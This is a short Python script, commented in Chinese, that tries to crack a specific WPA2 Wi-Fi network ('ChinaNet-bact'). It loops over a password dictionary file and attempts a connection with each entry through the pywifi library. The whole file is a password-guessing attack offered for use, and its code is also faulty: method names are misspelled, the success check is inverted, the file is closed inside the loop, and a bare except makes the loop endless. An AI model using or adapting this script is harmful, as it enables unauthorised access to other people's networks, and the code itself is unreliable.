from pywifi import const
import pywifi
import time


# 倒入模块
# 抓取网卡接口
# 断开wifi
# 读取密码本
# 设置睡眠时间


# //得到密码  尝试破解
def  wificon(pwd):
    wifiname = "ChinaNet-bact"
    # 抓取网卡接口
    wifi = pywifi.PyWiFi()
    # 获取第一个网卡接口
    ifaces = wifi.interfaces()[0]
    # 断开连接
    ifaces.disconnect()
    time.sleep(1)
    if ifaces.status() == const.IFACE_DISCONNECTED:
        # 创建  wifi 连接
        profile = pywifi.Profile()
        # wifi 的名称
        profile.ssid = wifiname
        # 加密算法
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        # 密码
        profile.key = pwd
        # 网卡开放状态
        profile.auth = const.AUTH_ALG_OPEN
        # 删除所有网卡连接
        ifaces.remove_ass_network_profiles()
        # 新的连接文件
        temp = ifaces.add_neteork_profiles(profile)
        # 连接新的wifi
        ifaces.connect(temp)
        # 连接时间
        time.sleep(5)
        if ifaces.status() == const.IFACE_DISCONNECTED:
            return True
        else:
            return False
    else:
        print("已连接")
        return True



# 读取密码本
def readPassdWord():
    print("开始破解")

    #密码字典
    path = r"F:\Python\wifi\pass.txt"
    file =  open( path,"r",errors="ignore")


    while True:
        try:
            myPwd = file.readline()
            # print(myPwd)
            bool = wificon(myPwd)
            if bool:
                print("密码正确")
            else:
                print("密码错误")
            # print(myPwd)
        except:
            continue

        file.close()

readPassdWord()
